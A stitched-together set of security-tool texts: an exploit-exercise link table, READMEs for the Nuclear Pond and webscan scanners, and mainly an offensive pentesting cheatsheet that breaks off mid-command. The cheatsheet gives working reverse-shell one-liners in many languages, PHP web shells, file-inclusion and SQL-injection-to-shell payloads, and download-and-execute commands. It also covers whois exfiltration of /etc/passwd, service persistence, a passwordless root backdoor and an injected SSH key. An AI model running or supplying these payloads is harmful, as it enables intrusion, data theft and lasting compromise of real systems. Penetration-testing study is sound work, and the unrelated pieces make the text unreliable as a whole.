Intro](https://medium.com/@bigb0ss/expdev-exploit-exercise-protostar-format-0-332983bfd388) |Intro to Format String vulnerability | |Format1 |[Format String Basic1](https://medium.com/bugbountywriteup/expdev-exploit-exercise-protostar-format-1-c5182332a69a) |Basic Format String Exploit | |Format2 |[Format String Basic2](https://medium.com/bugbountywriteup/expdev-exploit-exercise-protostar-format-2-73ef08011a8c) |Basic Format String Exploit (4-byte Write) | |Format3 |[Format String Basic3](https://medium.com/@bigb0ss/expdev-exploit-exercise-protostar-format-3-33e8d8f1e83) |Basic Format String Exploit (4/2/1-byte Write) | |Format4 |[Format String Exploit: GOT](https://medium.com/@bigb0ss/expdev-exploit-exercise-protostar-format-4-e2907b4716d1) |Format String Exploit overwriting the entry of GOT | <br> ## Vulnserver (Binary Exploitation) |Series |Link |Command |Vulnerability | Note | | :--- | :--- | :--- | :--- | :--- | |Part 1 |[Read](https://medium.com/@bigb0ss/expdev-vulnserver-part-1-ba35b9e36478) | N/A | N/A | Lab Setup | |Part 2 |[Read](https://medium.com/@bigb0ss/expdev-vulnserver-part-2-46de4dd7bdde) | TRUN | EIP Overwrite | |Part 3 |[Read](https://medium.com/@bigb0ss/expdev-vulnserver-part-3-24859bd31c0a) | GMON | SEH Overwrite + Short JMP + Egghunter | |Part 4 |[Read](https://medium.com/@bigb0ss/expdev-vulnserver-part-4-a5529731f0f1) | KSTET | EIP Overwrite + Short JMP + Egghunter | |Part 5 |[Read](https://medium.com/@bigb0ss/expdev-vulnserver-part-5-10942c8c4395) | HTER | EIP Overwrite + Restricted Characters + Manual Offset Finding | |Part 6 |[Read](https://medium.com/@bigb0ss/expdev-vulnserver-part-6-8c98fcdc9131) | GTER | EIP Overwrite + Socket Reuse Exploit | |Part 7 |[Read](https://medium.com/@bigb0ss/expdev-vulnserver-part-7-bfe9fb5fd1e6) | LTER | SEH Overwrite + Restricted Characters + Encoded Payloads | ## Resources * https://github.com/roya0045/Pentest-practice (List of practice sites) * https://securityscorecard.com/blog/common-web-application-vulnerabilities-explained (41 Web vuln explained)
# Nuclear Pond <img src="assets/logo.png" width="400" height="300" align="right"> Nuclear Pond is used to leverage [Nuclei](https://github.com/projectdiscovery/nuclei) in the cloud with unremarkable speed, flexibility, and [perform internet wide scans for far less than a cup of coffee](https://devsecopsdocs.com/blog/nuclear-pond/). It leverages [AWS Lambda](https://aws.amazon.com/lambda/) as a backend to invoke Nuclei scans in parallel, choice of storing json findings in s3 to query with [AWS Athena](https://aws.amazon.com/athena/), and is easily one of the cheapest ways you can execute scans in the cloud. ## Features - Output results to your terminal, json, or to S3 - Specify threads and parallel invocations in any desired number of batches - Specify any Nuclei arguments just like you would locally - Specify a single host or from a file - Run the http server to take scans from the API - Run the http server to get status of the scans - Query findings through Athena for searching S3 - Specify a custom nuclei and reporting configurations ## Usage Think of Nuclear Pond as just a way for you to run Nuclei in the cloud. You can use it just as you would on your local machine but run them in parallel and with however many hosts you want to specify. All you need to think of is the nuclei command line flags you wish to pass to it. ## Setup & Installation To install Nuclear Pond, you need to configure the backend [terraform module](https://github.com/DevSecOpsDocs/terraform-nuclear-pond). You can do this by running `terraform apply` or by leveraging [terragrunt](https://terragrunt.gruntwork.io/). ```bash $ go install github.com/DevSecOpsDocs/nuclearpond@latest ``` ## Environment Variables You can either pass in your backend with flags or through environment variables. You can use `-f` or `--function-name` to specify your Lambda function and `-r` or `--region` to the specified region. Below are environment variables you can use. - `AWS_LAMBDA_FUNCTION_NAME` is the name of your lambda function to execute the scans on - `AWS_REGION` is the region your resources are deployed - `NUCLEARPOND_API_KEY` is the API key for authenticating to the API - `AWS_DYNAMODB_TABLE` is the dynamodb table to store API scan states ### Command line flags Below are some of the flags you can specify when running `nuclearpond`. The primary flags you need are `-t` or `-l` for your target(s), `-a` for the nuclei args, and `-o` to specify your output. When specifying Nuclei args you must pass them in as base64 encoded strings by performing `-a $(echo -ne "-t dns" | base64)`. #### Commands Below are the subcommands you can execute within nuclearpond. - run: Execute nuclei scans - service: Basic API to execute nuclei scans ### Run To run nuclearpond subcommand `nuclearpond run -t devsecopsdocs.com -r us-east-1 -f jwalker-nuclei-runner-function -a $(echo -ne "-t dns" | base64) -o cmd -b 1` in which the target is `devsecopsdocs.com`, region is `us-east-1`, lambda function name is `jwalker-nuclei-runner-function`, nuclei arguments are `-t dns`, output is `cmd`, and executes one function through a batch of one host through `-b 1`. ```bash $ nuclearpond run -h Executes nuclei tasks in parallel by invoking lambda asynchronously Usage: nuclearpond run [flags] Flags: -a, --args string nuclei arguments as base64 encoded string -b, --batch-size int batch size for number of targets per execution (default 1) -f, --function-name string AWS Lambda function name -h, --help help for run -o, --output string output type to save nuclei results(s3, cmd, or json) (default "cmd") -r, --region string AWS region to run nuclei -s, --silent silent command line output -t, --target string individual target to specify -l, --targets string list of targets in a file -c, --threads int number of threads to run lambda functions, default is 1 which will be slow (default 1) ``` ## Custom Templates The terraform module by default downloads the templates on execution as well as adds the templates as a layer. The [variables to download templates](https://github.com/DevSecOpsDocs/terraform-nuclear-pond/blob/main/variables.tf#L16-L36) use the terraform github provider to download the release zip. The folder name within the zip will be located within `/opt`. Since Nuclei downloads them on run we do not have to but to improve performance you can specify `-t /opt/nuclei-templates-9.3.4/dns` to execute templates from the downloaded zip. To specify your own templates you must reference a release. When doing so on your own repository you must specify these variables in the terraform module, `github_token` is not required if your repository is public. - github_repository - github_owner - release_tag - github_token ## Retrieving Findings If you have specified `s3` as the output, your findings will be located in S3. The fastest way to get at them is to do so with Athena. Assuming you setup the terraform-module as your backend, all you need to do is query them directly through athena. You may have to configure query results if you have not done so already. ```sql select * from nuclei_db.findings_db limit 10; ``` ### Advance Query In order to get down into queries a little deeper, I thought I would give you a quick example. In the select statement we drill down into `info` column, `"matched-at"` column must be in double quotes due to `-` character, and you are searching only for high and critical findings generated by Nuclei. ```sql SELECT info.name, host, type, info.severity, "matched-at", info.description, template, dt FROM "nuclei_db"."findings_db" where host like '%devsecopsdocs.com' and info.severity in ('high','critical') ``` ## Infrastructure The backend infrastructure, all within [terraform module](https://github.com/DevSecOpsDocs/terraform-nuclear-pond). I would strongly recommend reading the readme associated to it as it will have some important notes. - Lambda function - S3 bucket - Stores nuclei binary - Stores configuration files - Stores findings - Glue Database and Table - Allows you to query the findings in S3 - Partitioned by the hour - Partition projection - IAM Role for Lambda Function
<h1 align="center"> webscan </h1> <h4 align="center">web信息收集工具</h4> <p align="center"> <a href="https://opensource.org/licenses/MIT"> <img src="https://img.shields.io/badge/license-MIT-_red.svg"> </a> <a href="https://github.com/niudaii/webscan/actions"> <img src="https://img.shields.io/github/workflow/status/niudaii/webscan/Release?style=flat-square" alt="Github Actions"> </a> <a href="https://goreportcard.com/report/github.com/niudaii/webscan"> <img src="https://goreportcard.com/badge/github.com/niudaii/webscan"> </a> <a href="https://github.com/niudaii/webscan/releases"> <img src="https://img.shields.io/github/release/niudaii/webscan/all.svg?style=flat-square"> </a> <a href="https://github.com/niudaii/webscan/releases"> <img src="https://img.shields.io/github/downloads/niudaii/webscan/total"> </a> </p> ## 功能 - 获取 statusCode、contentLength、favicon、iconHash、title、wappalyzer、finger - title自动解码 - js分析自动跳转 - API调用,可参考([internal/runner/runner.go](https://github.com/niudaii/webscan/blob/main/internal/runner/runner.go)) ## 使用 ``` ➜ webscan ./webscan -h Webscanner Usage: ./webscan [flags] Flags: INPUT: -i, -input string url input(example: -i 'http://www.baidu.com', -i '192.168.243.11:81') -f, -input-file string urls file(example: -f 'xxx.txt') CONFIG: -threads int number of threads (default 1) -timeout int timeout in seconds (default 10) -p, -proxy string proxy(example: -p 'http://127.0.0.1:8080') -header string add custom headers(example: -header 'User-Agent: xxx, ') -finger-file string use your finger file(example: -finger-file 'fingers.json') OUTPUT: -o, -output string output file to write found results (default "webscan.txt") -nc, -no-color disable colors in output DEBUG: -silent show only results in output -debug show debug output ``` ## 截图 ![image-20220913171207594](https://nnotes.oss-cn-hangzhou.aliyuncs.com/notes/image-20220913171207594.png) ## 说明 ### 指纹 - 单条指纹demo ``` { "name": "Shiro", "pocTags": [ "shiro" ], "tags": [], "desc": "RCE", "fingers": [ { "type": "or", "rules": [ { "method": "keyword", "location": "header", "keyword": "=deleteMe" } ] } ], "hasPoc": true } ``` - pocTags 和 nuclei 的 tags 对应 - tags 可分类和过滤 - 不公开内部指纹 ## 说明 已经停止更新,该项目作为 [zpscan](https://github.com/niudaii/zpscan) 的模块之一,后续更新参考 zpscan。 ## 参考 https://github.com/Becivells/iconhash
# Offensive Security / PenTesting Cheatsheets ## Reconnaissance / Enumeration ### Extracting Live IPs from Nmap Scan ```bash nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips ``` ### Simple Port Knocking ```bash for x in 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $x 1.1.1.1; done ``` ### DNS lookups, Zone Transfers & Brute-Force ```bash whois domain.com dig {a|txt|ns|mx} domain.com dig {a|txt|ns|mx} domain.com @ns1.domain.com host -t {a|txt|ns|mx} megacorpone.com host -a megacorpone.com host -l megacorpone.com ns1.megacorpone.com dnsrecon -d megacorpone.com -t axfr @ns2.megacorpone.com dnsenum domain.com nslookup -> set type=any -> ls -d domain.com for sub in $(cat subdomains.txt);do host $sub.domain.com|grep "has.address";done ``` ### Banner Grabbing ```bash nc -v $TARGET 80 telnet $TARGET 80 curl -vX $TARGET ``` ### NFS Exported Shares List NFS exported shares. If 'rw,no\_root\_squash' is present, upload and execute [sid-shell](https://github.com/mantvydasb/Offensive-Security-Cheatsheets/blob/master/sid-shell.c) ```bash showmount -e 192.168.110.102 chown root:root sid-shell; chmod +s sid-shell ``` ### Kerberos User Enumeration ```bash nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test' ``` ### HTTP Brute-Force & Vulnerability Scanning ```bash target=10.0.0.1; gobuster -u http://$target -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 150 -l | tee $target-gobuster target=10.0.0.1; nikto -h http://$target:80 | tee $target-nikto target=10.0.0.1; wpscan --url http://$target:80 --enumerate u,t,p | tee $target-wpscan-enum ``` ### RPC / NetBios / SMB ```bash rpcinfo -p $TARGET nbtscan $TARGET #list shares smbclient -L //$TARGET -U "" # null session rpcclient -U "" $TARGET smbclient -L //$TARGET enum4linux $TARGET ``` ### SNMP ```bash # Windows User Accounts snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.25 # Windows Running Programs snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.4.2.1.2 # Windows Hostname snmpwalk -c public -v1 $TARGET .1.3.6.1.2.1.1.5 # Windows Share Information snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.3.1.1 # Windows Share Information snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.27 # Windows TCP Ports snmpwalk -c public -v1 $TARGET4 1.3.6.1.2.1.6.13.1.3 # Software Name snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.6.3.1.2 # brute-force community strings onesixtyone -i snmp-ips.txt -c community.txt snmp-check $TARGET ``` ### SMTP ```bash smtp-user-enum -U /usr/share/wordlists/names.txt -t $TARGET -m 150 ``` ## Gaining Access ### Reverse Shell One-Liners #### Bash ```bash bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ``` #### Perl ```bash perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ``` #### URL-Encoded Perl: Linux ```bash echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew ``` #### Python ```bash python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` #### PHP ```bash php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' ``` #### Ruby ```bash ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ``` #### Netcat without -e \#1 ```bash rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f ``` #### Netcat without -e \#2 ```bash nc localhost 443 | /bin/sh | nc localhost 444 telnet localhost 443 | /bin/sh | telnet localhost 444 ``` #### Java ```bash r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor(); ``` #### XTerm ```bash xterm -display 10.0.0.1:1 ``` ### JDWP RCE ```java print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("whoami").getInputStream())).readLine()) ``` ### Working with Restricted Shells ```bash # rare cases ssh bill@localhost ls -l /tmp ``` ```bash nice /bin/bash ``` ### Interactive TTY Shells ```bash /usr/bin/expect sh ``` ```python python -c ‘import pty; pty.spawn(“/bin/sh”)’ # execute one command with su as another user if you do not have access to the shell. Credit to g0blin.co.uk python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);' ``` ### Uploading/POSTing Files Through WWW Upload Forms ```bash # POST file curl -X POST -F "file=@/file/location/shell.php" http://$TARGET/upload.php --cookie "cookie" # POST binary data to web form curl -F "field=<shell.zip" http://$TARGET/upld.php -F 'k=v' --cookie "k=v;" -F "submit=true" -L -v ``` ### PUTing File on the Webhost via PUT verb ```bash curl -X PUT -d '<?php system($_GET["c"]);?>' http://192.168.2.99/shell.php ``` ### Generating Payload Pattern & Calculating Offset ```bash /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q $EIP_VALUE ``` ### Bypassing File Upload Restrictions * file.php -&gt; file.jpg * file.php -&gt; file.php.jpg * file.asp -&gt; file.asp;.jpg * file.gif \(contains php code, but starts with string GIF/GIF98\) * 00% * file.jpg with php backdoor in exif \(see below\) * .jpg -&gt; proxy intercept -&gt; rename to .php ### Injecting PHP into JPEG ```bash exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' backdoor.jpeg exiftool “-comment<=back.php” back.png ``` ### Uploading .htaccess to interpret .blah as .php ```text AddType application/x-httpd-php .blah ``` ### Cracking Passwords #### Cracking Web Forms with Hydra ```bash hydra 10.10.10.52 http-post-form -L /usr/share/wordlists/list "/endpoit/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s PORT -P /usr/share/wordlists/list ``` #### Cracking Common Protocols with Hydra ```bash hydra 10.10.10.52 -l username -P /usr/share/wordlists/list ftp|ssh|smb://10.0.0.1 ``` #### HashCat Cracking ```bash # Bruteforce based on the pattern; hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdout # Generate password candidates: wordlist + pattern; hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/usr/share/wordlists/rockyou.txt ?d?d?d?u?u?u --force --potfile-disable --stdout ``` ### Generating Payload with msfvenom ```bash msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.245 LPORT=443 -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai ``` ### Compiling Code From Linux ```bash # Windows i686-w64-mingw32-gcc source.c -lws2_32 -o out.exe # Linux gcc -m32|-m64 -o output source.c ``` ### Local File Inclusion to Shell ```bash nc 192.168.1.102 80 GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1 Host: 192.168.1.102 Connection: close # Then send as cmd payload via http://192.168.1.102/index.php?page=../../../../../var/log/apache2/access.log&cmd=id ``` ### Local File Inclusion: Reading Files ```bash file:///etc/passwd http://example.com/index.php?page=php://input&cmd=ls POST: <?php system($_GET['cmd']); ?> http://192.168.2.237/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input POST: <?php system('uname -a');die(); ?> expect://whoami http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=id http://10.1.1.1/index.php?page=data://text/plain,%3C?php%20system%28%22uname%20-a%22%29;%20?%3E # ZIP Wrapper echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; http://example.com/index.php?page=zip://shell.jpg%23payload.php # Loop through file descriptors curl '' -H 'Cookie: PHPSESSID=df74dce800c96bcac1f59d3b3d42087d' --output - ``` ### Remote File Inclusion Shell: Windows + PHP ```php <?php system("powershell -Command \"& {(New-Object System.Net.WebClient).DownloadFile('http://10.11.0.245/netcat/nc.exe','nc.exe'); cmd /c nc.exe 10.11.0.245 4444 -e cmd.exe\" }"); ?> ``` ### SQL Injection to Shell or Backdoor ```sql # Assumed 3 columns http://target/index.php?vulnParam=0' UNION ALL SELECT 1,"<?php system($_REQUEST['cmd']);?>",2,3 INTO OUTFILE "c:/evil.php"-- uMj ``` ```bash # sqlmap; post-request - captured request via Burp Proxy via Save Item to File. sqlmap -r post-request -p item --level=5 --risk=3 --dbms=mysql --os-shell --threads 10 ``` ```bash # netcat reverse shell via mssql injection when xp_cmdshell is available 1000';+exec+master.dbo.xp_cmdshell+'(echo+open+10.11.0.245%26echo+anonymous%26echo+whatever%26echo+binary%26echo+get+nc.exe%26echo+bye)+>+c:\ftp.txt+%26+ftp+-s:c:\ftp.txt+%26+nc.exe+10.11.0.245+443+-e+cmd';-- ``` ### SQLite Injection to Shell or Backdoor ```sql ATTACH DATABASE '/home/www/public_html/uploads/phpinfo.php' as pwn; CREATE TABLE pwn.shell (code TEXT); INSERT INTO pwn.shell (code) VALUES ('<?php system($_REQUEST['cmd']);?>'); ``` ### MS-SQL Console ```bash mssqlclient.py -port 27900 user:[email protected] sqsh -S 10.1.1.1 -U user -P password ``` ### Upgradig Non-Interactive Shell ```bash python -c 'import pty; pty.spawn("/bin/sh")' /bin/busybox sh ``` ### Python Input Code Injection ```python __import__('os').system('id') ``` ## Local Enumeration & Privilege Escalation ### Binary Exploitation with ImmunityDebugger #### Get Loaded Modules ```text # We're interested in modules without protection, Read & Execute permissions !mona modules ``` #### Finding JMP ESP Address ```text !mona find -s "\xFF\xE4" -m moduleName ``` ### Cracking a ZIP Password ```bash fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt bank-account.zip ``` ### Setting up Simple HTTP server ```bash # Linux python -m SimpleHTTPServer 80 python3 -m http.server ruby -r webrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start" php -S 0.0.0.0:80 ``` ### MySQL User Defined Fuction Privilge Escalation Requires [raptor\_udf2.c](https://github.com/mantvydasb/Offensive-Security-Cheatsheets/blob/master/raptor_udf2.c) and [sid-shell.c](https://github.com/mantvydasb/Offensive-Security-Cheatsheets/blob/master/sid-shell.c) or [full tarball](https://github.com/mantvydasb/Offensive-Security-Cheatsheets/blob/master/raptor/raptor.tar) ```bash gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` ```text use mysql; create table npn(line blob); insert into npn values(load_file('/tmp/raptor_udf2.so')); select * from npn into dumpfile '/usr/lib/raptor_udf2.so'; create function do_system returns integer soname 'raptor_udf2.so'; select do_system('chown root:root /tmp/sid-shell; chmod +s /tmp/sid-shell'); ``` ### Docker Privilege Esclation ```bash echo -e "FROM ubuntu:14.04\nENV WORKDIR /stuff\nRUN mkdir -p /stuff\nVOLUME [ /stuff ]\nWORKDIR /stuff" > Dockerfile && docker build -t my-docker-image . && docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' && ./sh -c id && ./sh ``` ### Resetting root Password ```bash echo "root:spotless" | chpasswd ``` ### Uploading Files to Target Machine #### TFTP ```bash #TFTP Linux: cat /etc/default/atftpd to find out file serving location; default in kali /srv/tftp service atftpd start # Windows tftp -i $ATTACKER get /download/location/file /save/location/file ``` #### FTP ```bash # Linux: set up ftp server with anonymous logon access; twistd -n ftp -p 21 -r /file/to/serve # Windows shell: read FTP commands from ftp-commands.txt non-interactively; echo open $ATTACKER>ftp-commands.txt echo anonymous>>ftp-commands.txt echo whatever>>ftp-commands.txt echo binary>>ftp-commands.txt echo get file.exe>>ftp-commands.txt echo bye>>ftp-commands.txt ftp -s:ftp-commands.txt # Or just a one-liner (echo open 10.11.0.245&echo anonymous&echo whatever&echo binary&echo get nc.exe&echo bye) > ftp.txt & ftp -s:ftp.txt & nc.exe 10.11.0.245 443 -e cmd ``` #### PHP ```php <?php file_put_contents("/var/tmp/shell.php", file_get_contents("http://10.11.0.245/shell.php")); ?> ``` #### Python ```python python -c "from urllib import urlretrieve; urlretrieve('http://10.11.0.245/nc.exe', 'C:\\Temp\\nc.exe')" ``` #### HTTP: Powershell ```text powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); cmd /c nc.exe $ATTACKER 4444 -e cmd.exe" } powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" } powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe')"; Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" powershell (New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/file.exe','file.exe');(New-Object -com Shell.Application).ShellExecute('file.exe'); ``` #### HTTP: VBScript Copy and paste contents of [wget.vbs](https://github.com/mantvydasb/Offensive-Security-Cheatsheets/blob/master/wget-cscript) into a Windows Shell and then: ```text cscript wget.vbs http://$ATTACKER/file.exe localfile.exe ``` #### HTTP: Linux ```bash wget http://$ATTACKER/file curl http://$ATTACKER/file -O scp ~/file/file.bin user@$TARGET:tmp/backdoor.py ``` #### NetCat ```bash # Attacker nc -l -p 4444 < /tool/file.exe # Victim nc $ATTACKER 4444 > file.exe ``` #### HTTP: Windows "debug.exe" Method ```bash # 1. In Linux, convert binary to hex ascii: wine /usr/share/windows-binaries/exe2bat.exe /root/tools/netcat/nc.exe nc.txt # 2. Paste nc.txt into Windows Shell. ``` #### HTTP: Windows BitsAdmin ```bash cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://$ATTACKER/payload.exe %tmp%\payload.exe&start %tmp%\payload.exe ``` ### Whois Data Exfiltration ```bash # attacker nc -l -v -p 43 | sed "s/ //g" | base64 -d # victim whois -h $attackerIP -p 43 `cat /etc/passwd | base64` ``` ### Bash Ping Sweeper ```bash #!/bin/bash for lastOctet in {1..254}; do ping -c 1 10.0.0.$lastOctet | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 & done ``` ### Brute-forcing XOR'ed string with 1 byte key in Python ```python encrypted = "encrypted-string-here" for i in range(0,255): print("".join([chr(ord(e) ^ i) for e in encrypted])) ``` ### Generating Bad Character Strings ```python # Python '\\'.join([ "x{:02x}".format(i) for i in range(1,256) ]) ``` ```bash # Bash for i in {1..255}; do printf "\\\x%02x" $i; done; echo -e "\r" ``` ### Converting Python to Windows Executable \(.py -&gt; .exe\) ```bash python pyinstaller.py --onefile convert-to-exe.py ``` ### Port Scanning with NetCat ```bash nc -nvv -w 1 -z host 1000-2000 nc -nv -u -z -w 1 host 160-162 ``` ### Exploiting Vulnerable Windows Services: Weak Service Permissions ```text # Look for SERVICE_ALL_ACCESS in the output accesschk.exe /accepteula -uwcqv "Authenticated Users" * sc config [service_name] binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= "" sc qc [service_name] (to verify!) sc start [service_name] ``` ### Creating Persistence ```text sc create spotlessSrv binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= "" ``` ### Port Forwarding / SSH Tunneling #### SSH: Local Port Forwarding ```bash # Listen on local port 8080 and forward incoming traffic to REMOT_HOST:PORT via SSH_SERVER # Scenario: access a host that's being blocked by a firewall via SSH_SERVER; ssh -L 127.0.0.1:8080:REMOTE_HOST:PORT user@SSH_SERVER ``` #### SSH: Dynamic Port Forwarding ```bash # Listen on local port 8080. Incoming traffic to 127.0.0.1:8080 forwards it to final destination via SSH_SERVER # Scenario: proxy your web traffic through SSH tunnel OR access hosts on internal network via a compromised DMZ box; ssh -D 127.0.0.1:8080 user@SSH_SERVER ``` #### SSH: Remote Port Forwarding ```bash # Open port 5555 on SSH_SERVER. Incoming traffic to SSH_SERVER:5555 is tunneled to LOCALHOST:3389 # Scenario: expose RDP on non-routable network; ssh -R 5555:LOCAL_HOST:3389 user@SSH_SERVER plink -R ATTACKER:ATTACKER_PORT:127.0.01:80 -l root -pw pw ATTACKER_IP ``` #### Proxy Tunnel ```bash # Open a local port 127.0.0.1:5555. Incoming traffic to 5555 is proxied to DESTINATION_HOST through PROXY_HOST:3128 # Scenario: a remote host has SSH running, but it's only bound to 127.0.0.1, but you want to reach it; proxytunnel -p PROXY_HOST:3128 -d DESTINATION_HOST:22 -a 5555 ssh [email protected] -p 5555 ``` #### HTTP Tunnel: SSH Over HTTP ```bash # Server - open port 80. Redirect all incoming traffic to localhost:80 to localhost:22 hts -F localhost:22 80 # Client - open port 8080. Redirect all incoming traffic to localhost:8080 to 192.168.1.15:80 htc -F 8080 192.168.1.15:80 # Client - connect to localhost:8080 -> get tunneled to 192.168.1.15:80 -> get redirected to 192.168.1.15:22 ssh localhost -p 8080 ``` ### RunAs / Start Process As #### PowerShell ```bash # Requires PSRemoting $username = 'Administrator';$password = '1234test';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;Invoke-Command -Credential $credential -ComputerName COMPUTER_NAME -Command { whoami } # without PSRemoting cmd> powershell Start-Process cmd.exe -Credential (New-Object System.Management.Automation.PSCredential 'username', (ConvertTo-SecureString 'password' -AsPlainText -Force)) # without PS Remoting, with arguments cmd> powershell -command "start-process cmd.exe -argumentlist '/c calc' -Credential (New-Object System.Management.Automation.PSCredential 'username',(ConvertTo-SecureString 'password' -AsPlainText -Force))" ``` #### CMD ```bash # Requires interactive console runas /user:userName cmd.exe ``` #### PsExec ```bash psexec -accepteula -u user -p password cmd /c c:\temp\nc.exe 10.11.0.245 80 -e cmd.exe ``` #### Pth-WinExe ```bash pth-winexe -U user%pass --runas=user%pass //10.1.1.1 cmd.exe ``` ### Recursively Find Hidden Files: Windows ```bash dir /A:H /s "c:\program files" ``` ### General File Search ```bash # Query the local db for a quick file find. Run updatedb before executing locate. locate passwd # Show which file would be executed in the current environment, depending on $PATH environment variable; which nc wget curl php perl python netcat tftp telnet ftp # Search for *.conf (case-insensitive) files recursively starting with /etc; find /etc -iname *.conf ``` ## Post-Exploitation & Maintaining Access ### Browsing Registry Hives ```bash hivesh /registry/file ``` ### Decrypting VNC Password ```bash wine vncpwdump.exe -k key ``` ### Creating User and Adding to Local Administrators ```bash net user spotless spotless /add & net localgroup Administrators spotless /add ``` ### Creating SSH Authorized Keys ```bash mkdir /root/.ssh 2>/dev/null; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChKCUsFVWj1Nz8SiM01Zw/BOWcMNs2Zwz3MdT7leLU9/Un4mZ7vjco0ctsyh2swjphWr5WZG28BN90+tkyj3su23UzrlgEu3SaOjVgxhkx/Pnbvuua9Qs9gWbWyRxexaC1eDb0pKXHH2Msx+GlyjfDOngq8tR6tkU8u1S4lXKLejaptiz0q6P0CcR6hD42IYkqyuWTNrFdSGLtiPCBDZMZ/5g1cJsyR59n54IpV0b2muE3F7+NPQmLx57IxoPjYPNUbC6RPh/Saf7o/552iOcmVCdLQDR/9I+jdZIgrOpstqSiJooU9+JImlUtAkFxZ9SHvtRbFt47iH7Sh7LiefP5 root@kali' >> /root/.ssh/authorized_keys ``` ### Creating Backdoor User w/o Password ```bash echo 'spotless::0:0:root:/root:/bin/bash' >> /etc/passwd # Rarely needed, but if you need to add a password to the previously created user by using useradd and passwd is not working. Pwd is "kali" sed 's/!/\$6$o1\.HFMVM$a3hY6OPT\/DiQYy4koI6Z3\/sLiltsOcFoS5yCKhBBqQLH5K1QlHKL8\/6wJI6uF\/Q7mniOdq92v6yjzlVlXlxkT\./' /etc/shadow > /etc/s2; 